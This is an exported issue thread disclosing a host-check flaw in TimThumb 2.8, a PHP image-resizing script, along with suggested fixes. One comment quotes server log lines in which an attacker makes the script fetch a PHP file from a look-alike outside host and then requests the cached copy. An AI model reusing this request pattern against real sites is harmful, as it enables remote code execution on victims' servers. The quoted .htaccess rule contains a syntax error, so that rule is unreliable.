khashnan / timthumb

Automatically exported from code.google.com/p/timthumb
0 stars 0 forks source link

timthumb 2.8 apparently still allows remote exploits #273

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago
The check for $ALLOWED_SITES appears to be broken due to poor regexp 
comprehension:

                                foreach($ALLOWED_SITES as $site){
                                        if (preg_match ('/(?:^|\.)' . $site . '$/i', $this->url['host'])) {
                                                $this->debug(3, "URL hostname {$this->url['host']} matches $site so allowing."); 
                                                $allowed = true;
                                        }

This means that if e.g. "my.site.com" is in the allowed list, then 
$this->url['host'] is allowed if it matches "myxsite.com", "my8site.com", etc.

I also question whether the security model in itself is sound, it appears that 
there is a general assumption that accesses to timthumb.php comes from nice 
guys. They do not.

Original issue reported on code.google.com by frett...@gmail.com on 6 Oct 2011 at 10:51

GoogleCodeExporter commented 8 years ago
This is just one level of security. If you can give me a better regex I would 
be happy to use it, however I don't think this is anything to worry about in 
particular.

In your example you mention someone adding an additional domain to the allowed 
sites array, however a hacker would have to go to a lot of work to find out 
what additional domains have been included and then set up a matching domain of 
their own - probably more effort that is worthwhile.

In addition the cache files are saved as .txt so can't be executed. They also 
have some php injected into the start of them (die()) that gets stripped out 
when they are served. The two of these combined means that even if malicious 
code is uploaded, it's highly unlikely that someone would be able to execute 
them.

As I said above, if you have any suggestions for strengthening the security 
please do let me know - I will happily accept any help I can there.

Original comment by BinaryMoon on 8 Oct 2011 at 7:53

GoogleCodeExporter commented 8 years ago
I just had my site compromised through a similar exploit against an earlier 
version of timthumb that came bundled with the PivotX Web log software.  I 
think the specific attack that got into my site would be stopped by the current 
version, but comments like the above from maintainers do not make me think that 
I want to put any version of timthumb back on my site.  It is not enough for 
breaking in to be "probably more effort that is worthwhile".  I need breaking 
in to be more effort than is reasonably possible.

Also, using the exploit described does NOT require that the site operator have 
added an additional domain to the allowed sites array, if the attacker is 
fortunate enough to be able to create a fake domain similar enough to one of 
the ones that's there by default.  I also don't think it would really be much 
work for an attacker to find additional domains that have been included even if 
that were necessary; all they need is to make a list of a few dozen likely 
suspects.  They only need to get one right, and remember that they're probably 
not targeting victims individually but classes of victims collectively.  So 
they hit a whole bunch of sites with a few dozen guesses on each site and 
eventually they'll be right.  Even if they can only break into 1 in 1000 
installations, it sucks to have that installation be yours.

On fixing it:  it would be possible to preprocess $site to quote all special 
characters, so that dots would really mean dots.  I think that's probably not 
the best thing, though, because there's a lot that can go wrong.  Probably a 
better approach would be to not use regular expressions for this at all.  What 
you really want is to make sure that either $this->url['host'] ends with a dot 
followed by $site, or else it is equal to $site, with both of those being 
case-insensitive.  Those are easy tests to do without a regular expression.  I 
haven't tested this code but it should be something like:

if 
((strtolower(substr($this->url['host'],-strlen($site)-1))===strtolower(".$site")
)
 || (strtolower($this->url['host'])===strtolower($site))) {
...
}

Original comment by matthew....@gmail.com on 10 Oct 2011 at 4:24

GoogleCodeExporter commented 8 years ago
PHP.Hide injection on my server: 

69.20.9.79 - - [11/Oct/2011:17:42:28 +0200] "GET 
/pivotx/includes/timthumb.php?src=http://picasa.com.xpl.be/yahoo.php HTTP/1.1" 
400 308 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) 
Gecko/20100115 Firefox/3.6"

69.20.9.79 - - [11/Oct/2011:17:42:31 +0200] "GET 
/pivotx/db/cache/ffe37f6533095659017bd96829adf796.php?lol HTTP/1.1" 200 338 "-" 
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 
Firefox/3.6

The checkExternal function is borked, doesn't do proper input sanitation. 

Priority Medium? Please fix ASAP. Exploits are apparently out in the wild. 

Original comment by jeroen.p...@gmail.com on 12 Oct 2011 at 9:48

GoogleCodeExporter commented 8 years ago
Thanks, Jeroen.

I have seen exploits in the wild, but not as clear evidence as you have, so I 
tried not to sound too certain.

I have marked timthumb.php as unsafe software for now.

Original comment by frett...@gmail.com on 12 Oct 2011 at 10:05

GoogleCodeExporter commented 8 years ago
Ignore my last post, the version of timthumb.php is apparently out of date. 

Could you please add a version number to your source code file?

Original comment by jeroen.p...@gmail.com on 12 Oct 2011 at 10:26

GoogleCodeExporter commented 8 years ago
There is a version number within the first 30 lines of timthumb.php, which can 
be matched with the following regexp (Perl code):

/^\s*define\s*\(['"]VERSION["']\s*,\s*["'](\d+\.\d+(?:\.\d+)*)['"]/

Original comment by frett...@gmail.com on 12 Oct 2011 at 11:12

GoogleCodeExporter commented 8 years ago
The current version of TimThumb is not insecure. Older versions are. Please 
make sure you stay up to date.

The version number is in the PHP file. It's the very first line of code.

Original comment by BinaryMoon on 12 Oct 2011 at 8:44

GoogleCodeExporter commented 8 years ago
I'm not happy with this attitude.

I have clearly demonstrated a way in which TimThumb IS insecure, with example 
domain names.

The remote sites could have been imgxyoutube.com, or uploadywikimedia.org.

Your security model appears BROKEN, and your response is irresponsible.

For those who want to partially fix this for the cases where timthumb.php is 
accessed directly, you can limit access with .htaccess:

<FilesMatch "^(tim|)thumb\.php)">
  Deny from all
</FilesMatch>

Unfortunately, this does not help if it's possible to include timthumb.php in 
another script and call that.

Original comment by frett...@gmail.com on 13 Oct 2011 at 7:57